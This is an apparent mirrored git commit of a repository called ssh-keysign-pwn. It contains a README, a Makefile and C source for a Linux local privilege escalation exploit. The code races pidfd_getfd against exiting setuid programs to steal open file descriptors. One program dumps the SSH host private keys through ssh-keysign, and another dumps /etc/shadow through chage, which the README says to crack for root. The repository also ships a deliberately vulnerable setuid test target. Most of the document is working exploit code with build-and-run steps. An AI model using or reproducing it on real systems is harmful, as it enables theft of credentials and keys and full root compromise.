mirror of
https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn.git
synced 2026-05-16 12:17:44 +00:00
ssh-keysign-pwn
This commit is contained in:
commit
565548753b
9 changed files with 337 additions and 0 deletions
5
.gitignore
vendored
Normal file
5
.gitignore
vendored
Normal file
|
|
@ -0,0 +1,5 @@
|
||||||
|
sshkeysign_pwn
|
||||||
|
chage_pwn
|
||||||
|
vuln_target
|
||||||
|
exploit_vuln_target
|
||||||
|
*.o
|
||||||
22
Makefile
Normal file
22
Makefile
Normal file
|
|
@ -0,0 +1,22 @@
|
||||||
|
CFLAGS ?= -O2 -Wall
|
||||||
|
|
||||||
|
ALL = sshkeysign_pwn chage_pwn vuln_target exploit_vuln_target
|
||||||
|
|
||||||
|
all: $(ALL)
|
||||||
|
|
||||||
|
sshkeysign_pwn: sshkeysign_pwn.c
|
||||||
|
$(CC) $(CFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
chage_pwn: chage_pwn.c
|
||||||
|
$(CC) $(CFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
vuln_target: vuln_target.c
|
||||||
|
$(CC) $(CFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
exploit_vuln_target: exploit_vuln_target.c
|
||||||
|
$(CC) $(CFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f $(ALL)
|
||||||
|
|
||||||
|
.PHONY: all clean
|
||||||
42
README.md
Normal file
42
README.md
Normal file
|
|
@ -0,0 +1,42 @@
|
||||||
|
# ssh-keysign-pwn
|
||||||
|
|
||||||
|
> "It is a fearful thing to fall into the hands of the living God." — Hebrews 10:31
|
||||||
|
|
||||||
|
Read root-owned files as an unprivileged user. Pre-`31e62c2ebbfd` kernels (everything in stable as of 2026-05-14).
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
`__ptrace_may_access()` skips the dumpable check when `task->mm == NULL`. `do_exit()` runs `exit_mm()` before `exit_files()` — no mm, fds still there. `pidfd_getfd(2)` succeeds in that window when the caller's uid matches the target's.
|
||||||
|
|
||||||
|
Reported by Qualys, fixed by Linus 2026-05-14. Jann Horn flagged the FD-theft shape in [October 2020](https://lore.kernel.org/all/20201016230915.1972840-1-jannh@google.com/). Six years.
|
||||||
|
|
||||||
|
## Targets
|
||||||
|
|
||||||
|
**`sshkeysign_pwn`** — pulls `/etc/ssh/ssh_host_{ecdsa,ed25519,rsa}_key`. `ssh-keysign.c` opens them (mode 0600) before `permanently_set_uid()`, then bails on `EnableSSHKeysign=no` with the fds still open. Same shape since 2002.
|
||||||
|
|
||||||
|
**`chage_pwn`** — pulls `/etc/shadow`. `chage -l <user>` calls `spw_open(O_RDONLY)` then `setreuid(ruid, ruid)`. Both args set means uid=euid=suid=ruid: full drop. Race the exit, lift the shadow fd, crack the root hash offline.
|
||||||
|
|
||||||
|
## Build and run
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make
|
||||||
|
./sshkeysign_pwn # host keys
|
||||||
|
./chage_pwn root # /etc/shadow content
|
||||||
|
```
|
||||||
|
|
||||||
|
Either prints the file on stdout. Hits in 100–2000 spawns.
|
||||||
|
|
||||||
|
## Confirmed
|
||||||
|
|
||||||
|
Raspberry Pi OS Bookworm 6.12.75, Debian 13, Ubuntu 22.04 / 24.04 / 26.04, Arch, CentOS 9.
|
||||||
|
|
||||||
|
## Controlled-target PoC
|
||||||
|
|
||||||
|
`vuln_target.c` opens `/etc/shadow` then drops. `exploit_vuln_target.c` shows `EPERM` while it's alive and the steal post-`SIGKILL`.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
sudo install -m 4755 vuln_target /usr/local/bin/vuln_target
|
||||||
|
./exploit_vuln_target /usr/local/bin/vuln_target
|
||||||
|
```
|
||||||
78
chage_pwn.c
Normal file
78
chage_pwn.c
Normal file
|
|
@ -0,0 +1,78 @@
|
||||||
|
/*
|
||||||
|
* "It is a fearful thing to fall into the hands of the living God."
|
||||||
|
* — Hebrews 10:31
|
||||||
|
*
|
||||||
|
* chage -l opens /etc/passwd and /etc/shadow before
|
||||||
|
* setreuid(ruid, ruid). The drop sets uid=euid=suid=ruid. mm-NULL
|
||||||
|
* window in do_exit() lets pidfd_getfd lift the /etc/shadow fd.
|
||||||
|
*
|
||||||
|
* Crack the root hash offline -> su - -> root shell.
|
||||||
|
*/
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
#ifndef __NR_pidfd_open
|
||||||
|
#define __NR_pidfd_open 434
|
||||||
|
#endif
|
||||||
|
#ifndef __NR_pidfd_getfd
|
||||||
|
#define __NR_pidfd_getfd 438
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
const char *user = argc > 1 ? argv[1] : "root";
|
||||||
|
|
||||||
|
for (int round = 0; round < 500; round++) {
|
||||||
|
pid_t c = fork();
|
||||||
|
if (c == 0) {
|
||||||
|
int dn = open("/dev/null", O_RDWR);
|
||||||
|
dup2(dn, 1); dup2(dn, 2);
|
||||||
|
execl("/usr/bin/chage", "chage", "-l", user, (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
int pfd = syscall(__NR_pidfd_open, c, 0);
|
||||||
|
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
|
||||||
|
|
||||||
|
int got = -1;
|
||||||
|
for (int a = 0; a < 30000 && got < 0; a++) {
|
||||||
|
for (int i = 3; i < 32; i++) {
|
||||||
|
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
|
||||||
|
if (s < 0) continue;
|
||||||
|
char p[256] = {0}, lk[64];
|
||||||
|
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
|
||||||
|
ssize_t n = readlink(lk, p, sizeof(p) - 1);
|
||||||
|
if (n > 0) p[n] = 0;
|
||||||
|
if (strstr(p, "/etc/shadow")) {
|
||||||
|
fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
|
||||||
|
got = s;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (got >= 0) {
|
||||||
|
char buf[8192];
|
||||||
|
lseek(got, 0, SEEK_SET);
|
||||||
|
ssize_t n;
|
||||||
|
while ((n = read(got, buf, sizeof(buf))) > 0)
|
||||||
|
fwrite(buf, 1, n, stdout);
|
||||||
|
close(got);
|
||||||
|
close(pfd);
|
||||||
|
waitpid(c, NULL, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
close(pfd);
|
||||||
|
waitpid(c, NULL, 0);
|
||||||
|
}
|
||||||
|
fprintf(stderr, "no hit in 500 rounds\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
BIN
demo.gif
Normal file
BIN
demo.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.6 MiB |
BIN
demo.mp4
Normal file
BIN
demo.mp4
Normal file
Binary file not shown.
70
exploit_vuln_target.c
Normal file
70
exploit_vuln_target.c
Normal file
|
|
@ -0,0 +1,70 @@
|
||||||
|
/* Same primitive against the controlled target. Alive -> EPERM,
|
||||||
|
* after SIGKILL -> /etc/shadow fd is ours. */
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
#ifndef __NR_pidfd_open
|
||||||
|
#define __NR_pidfd_open 434
|
||||||
|
#endif
|
||||||
|
#ifndef __NR_pidfd_getfd
|
||||||
|
#define __NR_pidfd_getfd 438
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
if (argc < 2) { fprintf(stderr, "usage: %s /path/to/vuln_target\n", argv[0]); return 1; }
|
||||||
|
|
||||||
|
pid_t c = fork();
|
||||||
|
if (c == 0) { execl(argv[1], argv[1], (char *)NULL); _exit(127); }
|
||||||
|
usleep(200 * 1000);
|
||||||
|
|
||||||
|
int pfd = syscall(__NR_pidfd_open, c, 0);
|
||||||
|
if (pfd < 0) { perror("pidfd_open"); kill(c, SIGKILL); return 1; }
|
||||||
|
|
||||||
|
for (int i = 3; i < 10; i++) {
|
||||||
|
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
|
||||||
|
if (s >= 0) { close(s); continue; }
|
||||||
|
if (errno == EPERM) {
|
||||||
|
fprintf(stderr, "alive: EPERM on fd %d\n", i);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
kill(c, SIGKILL);
|
||||||
|
|
||||||
|
int got = -1;
|
||||||
|
for (int a = 0; a < 20000 && got < 0; a++) {
|
||||||
|
for (int i = 3; i < 16; i++) {
|
||||||
|
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
|
||||||
|
if (s < 0) continue;
|
||||||
|
char p[256] = {0}, lk[64];
|
||||||
|
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
|
||||||
|
if (readlink(lk, p, sizeof(p) - 1) > 0 && strstr(p, "/etc/shadow")) {
|
||||||
|
fprintf(stderr, "fd %d -> %s (try %d)\n", i, p, a);
|
||||||
|
got = s;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (got >= 0) {
|
||||||
|
char buf[4096];
|
||||||
|
lseek(got, 0, SEEK_SET);
|
||||||
|
ssize_t n = read(got, buf, sizeof(buf) - 1);
|
||||||
|
if (n > 0) { buf[n] = 0; fputs(buf, stdout); }
|
||||||
|
close(got);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(pfd);
|
||||||
|
waitpid(c, NULL, 0);
|
||||||
|
return got >= 0 ? 0 : 1;
|
||||||
|
}
|
||||||
98
sshkeysign_pwn.c
Normal file
98
sshkeysign_pwn.c
Normal file
|
|
@ -0,0 +1,98 @@
|
||||||
|
/*
|
||||||
|
* "It is a fearful thing to fall into the hands of the living God."
|
||||||
|
* — Hebrews 10:31
|
||||||
|
*
|
||||||
|
* ssh-keysign opens /etc/ssh/ssh_host_*_key before permanently_set_uid().
|
||||||
|
* Bails out with the fds still open on EnableSSHKeysign=no. Race the
|
||||||
|
* exit window with pidfd_getfd. mm-NULL bypasses the dumpable check
|
||||||
|
* (kernel/ptrace.c, patched 31e62c2ebbfd 2026-05-14).
|
||||||
|
*/
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
#ifndef __NR_pidfd_open
|
||||||
|
#define __NR_pidfd_open 434
|
||||||
|
#endif
|
||||||
|
#ifndef __NR_pidfd_getfd
|
||||||
|
#define __NR_pidfd_getfd 438
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static int pidfd_open(pid_t pid, unsigned f)
|
||||||
|
{
|
||||||
|
return syscall(__NR_pidfd_open, pid, f);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int pidfd_getfd(int pfd, int fd, unsigned f)
|
||||||
|
{
|
||||||
|
return syscall(__NR_pidfd_getfd, pfd, fd, f);
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *PATHS[] = {
|
||||||
|
"/usr/libexec/ssh-keysign",
|
||||||
|
"/usr/libexec/openssh/ssh-keysign",
|
||||||
|
"/usr/lib/ssh/ssh-keysign",
|
||||||
|
"/usr/lib/openssh/ssh-keysign",
|
||||||
|
NULL,
|
||||||
|
};
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
const char *bin = NULL;
|
||||||
|
for (int i = 0; PATHS[i]; i++)
|
||||||
|
if (access(PATHS[i], X_OK) == 0) { bin = PATHS[i]; break; }
|
||||||
|
if (!bin) { fprintf(stderr, "ssh-keysign not found\n"); return 1; }
|
||||||
|
fprintf(stderr, "uid=%d target=%s\n", getuid(), bin);
|
||||||
|
|
||||||
|
for (int round = 0; round < 500; round++) {
|
||||||
|
pid_t c = fork();
|
||||||
|
if (c == 0) {
|
||||||
|
int dn = open("/dev/null", O_RDWR);
|
||||||
|
dup2(dn, 0); dup2(dn, 1); dup2(dn, 2);
|
||||||
|
execl(bin, "ssh-keysign", (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
|
||||||
|
int pfd = pidfd_open(c, 0);
|
||||||
|
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
|
||||||
|
|
||||||
|
int hit = 0;
|
||||||
|
for (int a = 0; a < 30000 && !hit; a++) {
|
||||||
|
for (int i = 3; i < 32; i++) {
|
||||||
|
int s = pidfd_getfd(pfd, i, 0);
|
||||||
|
if (s < 0) continue;
|
||||||
|
|
||||||
|
char p[256] = {0}, lk[64];
|
||||||
|
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
|
||||||
|
ssize_t n = readlink(lk, p, sizeof(p) - 1);
|
||||||
|
if (n > 0) p[n] = 0;
|
||||||
|
|
||||||
|
if (strstr(p, "ssh_host_") && strstr(p, "_key")) {
|
||||||
|
fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
|
||||||
|
char buf[4096];
|
||||||
|
lseek(s, 0, SEEK_SET);
|
||||||
|
ssize_t k = read(s, buf, sizeof(buf) - 1);
|
||||||
|
if (k > 0) { buf[k] = 0; fputs(buf, stdout); }
|
||||||
|
close(s);
|
||||||
|
hit = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
close(pfd);
|
||||||
|
waitpid(c, NULL, 0);
|
||||||
|
if (hit) return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "no hit in 500 rounds\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
22
vuln_target.c
Normal file
22
vuln_target.c
Normal file
|
|
@ -0,0 +1,22 @@
|
||||||
|
/* Setuid target that opens /etc/shadow before dropping. Install as
|
||||||
|
* setuid root; exploit with exploit_vuln_target.c. */
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int fd = open("/etc/shadow", O_RDONLY);
|
||||||
|
if (fd < 0) { perror("open"); return 1; }
|
||||||
|
|
||||||
|
if (setuid(getuid()) < 0) { perror("setuid"); return 1; }
|
||||||
|
|
||||||
|
if (argc > 1 && !strcmp(argv[1], "exit-now"))
|
||||||
|
return 0;
|
||||||
|
pause();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Loading…
Add table
Add a link
Reference in a new issue